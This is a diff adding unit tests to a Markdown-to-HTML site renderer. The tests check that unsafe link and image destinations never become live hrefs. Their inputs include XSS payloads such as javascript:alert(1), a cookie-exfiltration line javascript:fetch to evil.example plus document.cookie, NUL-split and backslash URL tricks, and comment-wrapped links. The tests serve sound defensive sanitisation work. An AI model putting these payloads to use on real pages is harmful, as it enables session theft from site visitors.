+
+test('linkButtonsHtml: a disallowed hero/social button degrades to a plain span', () => {
+  const html = linkButtonsHtml([{ label: 'Go', href: 'javascript:alert(1)', primary: true }], 'st-hero');
+  assert.ok(!html.includes('href='));
+  assert.ok(html.includes('<span class="st-hero-btn st-hero-btn-primary">Go</span>'));
+});
+
+test('render: the P1-1 probe payload (CTA body link + hero cta= param) never reaches a live href', () => {
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## Support us', '%% sitetile: cta %%',
+    '[Donate](javascript:fetch`//evil.example/`+document.cookie)', '',
+    '## Hero', '%% sitetile: hero cta="Go"→javascript:alert`1` %%',
+    'Lead text.', '',
+  ].join('\n') + '\n';
+  const html = renderSiteToHtml(parseSite(src));
+  assert.ok(!html.includes('javascript:'), 'no javascript: scheme survives anywhere in the page');
+  assert.ok(!/<a\b/.test(html), 'no anchor at all — both destinations degrade to plain text');
+  assert.ok(html.includes('Donate') && html.includes('Go'), 'labels stay visible');
+});
+
+test('render: a grid cell with a disallowed href stays a plain (non-link) cell', () => {
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## Picks', '%% sitetile: grid cols=2 %%',
+    '### Bad →javascript:alert(1)', 'text.',
+  ].join('\n') + '\n';
+  const html = renderSiteToHtml(parseSite(src));
+  assert.ok(!html.includes('javascript:'));
+  assert.ok(html.includes('<div class="st-cell"><h3>Bad</h3>'), 'falls back to the plain-cell shape');
+});
+
+test('render: a hero standalone image with a disallowed src is dropped, not emitted live', () => {
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## Hero', '%% sitetile: hero layout=split %%',
+    'Lead text.', '',
+    '![a](javascript:fetch`//evil.example/`)', '',
+  ].join('\n') + '\n';
+  const html = renderSiteToHtml(parseSite(src));
+  assert.ok(!html.includes('javascript:'));
+  assert.ok(!html.includes('<img'));
+});
+
+// ── round 3: R2-P1-1 — collection `it.href` must gate on ITSELF, not on `it.learn` ───────────
+
+test('collection: a bad it.href does not go live just because it.learn is safe (R2-P1-1)', () => {
+  takeDropWarnings();
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## Things', '%% sitetile: collection %%', '',
+    '### G', '',
+    '#### Item →javascript:alert(1)', '',
+    'learn: /safe', '', 'body text',
+  ].join('\n') + '\n';
+  const html = renderSiteToHtml(parseSite(src));
+  assert.ok(!html.includes('javascript:'), 'the bad it.href never reaches the page');
+  assert.ok(!/<a\b[^>]*st-item-gh/.test(html), 'the GitHub slot is not a live anchor');
+  assert.ok(html.includes('<span class="st-item-gh">'), 'it degrades to the plain (span) shape');
+  assert.ok(html.includes('<a class="st-item-learn" href="/safe"'), 'the OTHER, safe field is unaffected');
+  const warnings = takeDropWarnings();
+  assert.ok(warnings.some((w) => w.scheme === 'javascript:'), 'the drop is recorded in the diagnostics queue');
+});
+
+test('collection: it.href alone (no learn page) still needs isSafeHref to go live', () => {
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## Things', '%% sitetile: collection %%', '',
+    '### G', '',
+    '#### Item →javascript:alert(1)', '',
+    'body text',
+  ].join('\n') + '\n';
+  const html = renderSiteToHtml(parseSite(src));
+  assert.ok(!html.includes('javascript:'));
+});
+
+test('collection: a safe it.href with a safe it.learn still renders both live (no regression)', () => {
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## Things', '%% sitetile: collection %%', '',
+    '### G', '',
+    '#### Item →https://github.com/x/y', '',
+    'learn: /learn-more', '', 'body text',
+  ].join('\n') + '\n';
+  const html = renderSiteToHtml(parseSite(src));
+  assert.ok(/<a class="st-item-gh" href="https:\/\/github\.com\/x\/y"/.test(html), 'GH anchor is live');
+  assert.ok(html.includes('<a class="st-item-learn" href="/learn-more"'), 'learn anchor is live');
+});
+
+// ── round 3: R2-P2-1 — decodeEntitiesOnce must never throw ────────────────────────────────────
+
+test('decodeEntitiesOnce: an out-of-range numeric entity renders the page and escapes the text, never throws', () => {
+  assert.doesNotThrow(() => inlineHtml('see [a](&#x110000;) here'));
+  const html = inlineHtml('see [a](&#x110000;) here');
+  assert.ok(!html.includes('javascript:'));
+  // the entity could not be decoded to a real code point, so it is left as literal text and
+  // entity-escaped like any other author-typed `&` — never a thrown RangeError, never a live href
+  // built from an undecodable scheme.
+  assert.ok(html.includes('&amp;#x110000;'), 'the undecodable entity is preserved as escaped literal text');
+
+  const src = [
+    '---', 'sitetile-page: t', '---', '',
+    '## H', '%% sitetile: prose %%',
+    '[a](&#x110000;) and [b](&#1114112;) and [c](&#99999999999999999999;) and [d](&#xFFFFFF here',
+  ].join('\n') + '\n';
+  assert.doesNotThrow(() => renderSiteToHtml(parseSite(src)), 'a whole page with malformed numeric entities still renders');
+});
+
+test('decodeEntitiesOnce: a lone-surrogate numeric entity is left as-is, not turned into an unpaired surrogate', () => {
+  assert.doesNotThrow(() => inlineHtml('[a](&#xD800;javascript:alert(1))'));
+});
+
+// round 4: R3-P3-6 — a C0 control other than tab/LF/CR must not reach the output byte stream as a
+// literal control character (a downstream minifier or proxy that STRIPS rather than replaces a
+// NUL can turn `java\0script:` back into a live scheme). `&#0;` now decodes to nothing — it is
+// rejected by safeCodePoint and left as escaped literal text, the same degradation an undecodable
+// entity already gets — never a raw U+0000 in the emitted HTML.
+test('decodeEntitiesOnce: a NUL numeric entity is rejected, never emitted as a literal control byte', () => {
+  const html = inlineHtml('[a](&#0;x)');
+  assert.ok(!html.includes('\u0000'), 'no literal NUL in the output: ' + JSON.stringify(html));
+  const html2 = inlineHtml('[a](java&#0;script:alert(1))');
+  assert.ok(!html2.includes('\u0000'), 'no literal NUL in the output: ' + JSON.stringify(html2));
+});
+
+test('safeHref / safeSrc: the Astro-facing helpers return the string or null, matching isSafeHref/isSafeImageSrc', () => {
+  assert.equal(safeHref('/about'), '/about');
+  assert.equal(safeHref('javascript:alert(1)'), null);
+  assert.equal(safeHref(''), null);
+  assert.equal(safeHref(null), null);
+  assert.equal(safeSrc('data:image/png;base64,iVBORw0KGgo='), 'data:image/png;base64,iVBORw0KGgo=');
+  assert.equal(safeSrc('data:image/svg+xml;base64,PHN2Zz4='), null);
+  assert.doesNotThrow(() => safeHref('&#x110000;'));
+});
+
+// ── round 3: classification consistency — backslash/protocol-relative destinations ────────────
+
+test('linkKind: `\\\\evil`, `/\\evil` and `//evil` all classify the same way (external, cross-origin)', () => {
+  // A browser treats `\` exactly like `/` when resolving a URL, so these three are one
+  // destination spelled three ways and must not disagree about whether the link leaves the site.
+  const variants = ['\\\\evil.example', '/\\evil.example', '//evil.example'];
+  const results = variants.map((href) => linkButtonsHtml([{ label: 'Go', href, primary: true }], 'st-hero'));
+  for (const html of results) {
+    assert.ok(html.includes('target="_blank" rel="noopener"'), 'classified external → opens in a new tab: ' + html);
+    assert.ok(html.includes('signet-arrow--up-right'), 'classified external → up-right arrow: ' + html);
+  }
+});
 
 // ── people coral ───────────────────────────────────────────────────────────────────────────────
 // Grown for a client whose ONE roster shape was hand-rolled on five different pages (collaborating
@@ -1516,4 +1784,45 @@ test('\ud83d\udd34 #496 round 6 \u2014 R5-P2-02: an ordinary CJK-indented paragr
   assert.equal(bodyHtml('\u3000\u3000plain text'), '<p>plain text</p>');
 });
 
+// \u2500\u2500 #496 (comment scan) \u00d7 #link-dest (destination escaping): the two interaction cases \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+// inlineHtml() stashes every `](\u2026)` destination to a 
N
 placeholder BEFORE escapeInline()'s
+// comment scan ever runs (see inlineHtml's own module comment) \u2014 so the two features never see the
+// SAME characters at the SAME time. Composed per CommonMark (a raw HTML comment is not itself part of
+// the link-destination grammar, and a destination's own text is never re-parsed for HTML constructs):
+// a comment-shaped run of characters that ends up INSIDE a destination is just destination text (never
+// recognized as a comment, since escapeInline never sees it \u2014 it is hidden behind the placeholder);
+// a destination-shaped `](\u2026)` run that ends up entirely INSIDE a real HTML comment is deleted along
+// with the rest of that comment (the placeholder is plain text to the comment scan, gone like any
+// other character between `<!--` and `-->`) and never reaches the scheme check at all.
+test('#496 x link-dest: an HTML-comment-shaped run INSIDE a destination is destination text, not a comment \u2014 never stripped, never a live scheme', () => {
+  // No parens in the payload: the destination regex `[^)\s]+` stops at the first `)`, which is not
+  // this test's concern (a pre-existing, unrelated limitation with a literal `)` inside a URL).
+  const link = inlineHtml('[a](<!--evil-->javascript:x)');
+  // Not stripped: escapeInline's comment scan runs BEFORE stashing restores the placeholder to text \u2014
+  // by the time this text is visible again, comment-scanning is long over. The markers survive, escaped.
+  assert.equal(link, '<a href="&lt;!--evil--&gt;javascript:x">a</a>');
+  // Not a live javascript: scheme either: the string does not START with a valid scheme (`<` is not a
+  // legal scheme character), so isSafeHref resolves it as a path relative to the safe base \u2014 the
+  // literal text "javascript:x" sits inertly inside an http: URL's path, never executed by a browser.
+  assert.ok(link.includes('href="'), 'still a real anchor \u2014 the leading comment text does not disallow the whole destination');
+  assert.doesNotMatch(link, /href="javascript:/, 'the comment prefix must not be stripped INTO a bare javascript: scheme');
+
+  const img = inlineHtml('![a](<!--evil-->javascript:x)');
+  assert.equal(img, '<img class="st-img" src="&lt;!--evil--&gt;javascript:x" alt="a" loading="lazy" decoding="async">');
+});
+
+test('#496 x link-dest: a destination sitting entirely INSIDE an HTML comment is removed with the comment \u2014 no link forms, no drop warning fires', () => {
+  takeDropWarnings(); // drain anything left by an earlier test
+  const html = inlineHtml('see <!-- [x](javascript:alert(1)) --> done');
+  assert.equal(html, 'see  done');
+  assert.doesNotMatch(html, /javascript|alert|<a |href=/, 'the fake link never surfaces as text, an href, or anything else');
+  // isSafeHref/isSafeImageSrc (the only place a drop is recorded) never ran on this destination \u2014 the
+  // comment scan deleted the placeholder token along with the rest of the comment before the
+  // stash-restore step ever reintroduced it into the text stream for the link regex to find.
+  assert.equal(takeDropWarnings().length, 0, 'a destination erased by comment-removal is not a "disallowed" destination \u2014 it never reached the check');
+
+  const block = bodyHtml('before <!-- [x](javascript:alert(1)) --> after');
+  assert.equal(block, '<p>before  after</p>');
+});
+
 console.log('\nsitetile: ' + passed + ' passed' + (process.exitCode ? ', SOME FAILED' : ', all green'));